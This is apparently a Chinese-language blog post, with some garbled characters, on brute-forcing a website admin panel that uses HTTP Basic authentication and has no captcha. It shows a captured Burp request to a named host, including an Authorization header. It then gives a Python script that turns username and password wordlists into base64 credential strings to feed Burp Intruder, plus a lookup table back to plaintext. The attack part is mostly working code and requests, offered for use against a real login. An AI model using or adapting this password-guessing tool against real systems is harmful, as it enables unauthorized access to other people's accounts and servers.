遇到一套系統(tǒng)，后臺管理登錄無驗證碼，準(zhǔn)備爆破試試，burp抓到的包如下：
GET /admin/ HTTP/1.1
Host: www.nxadmin.com
User-Agent: Mozilla/5.0 (
Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
If-Modified-Since: Wed, 07 May 2014 03:04:54 GMT
If-None-Match: W/"37424//"
Authorization: Basic MTExOjIyMg==
發(fā)現(xiàn)有一串base64編碼處理的，解碼之后正是提交的 帳號:密碼的組合，只好寫個小腳本將已有的字典文件進(jìn)行處理了，貼上代碼：
#coding:utf-8
import sys
import base64
if len(sys.argv)<3:
print "Usage:"+" admincrack.py "+"userlist "+"passlist"
sys.exit()
def admincrack(userfile,passfile):
uf=open(userfile,'r')
pf=open(passfile,'r')
for user in uf.readlines():
#指定指針的位置,不指定只會遍歷userfile中的第一行
pf.seek(0)
for passwd in pf.readlines():
user=user.strip("\r\n")
passwd=passwd.strip("\r\n")
hashvul=user+':'+passwd
base64hash=base64.b64encode(hashvul)
print user,passwd,base64hash
if __name__=="__main__":
admincrack(sys.argv[1],sys.argv[2])
生成之后先將base64hash打印出來，就會構(gòu)成intruder用到的字典，再將user,passwd,base64hash一起打印出來，構(gòu)成后期爆破成功需要查詢對應(yīng)帳號和密碼明文的字典。
English » | | | | | | | | |
Text-to-speech function is limited to 100 characters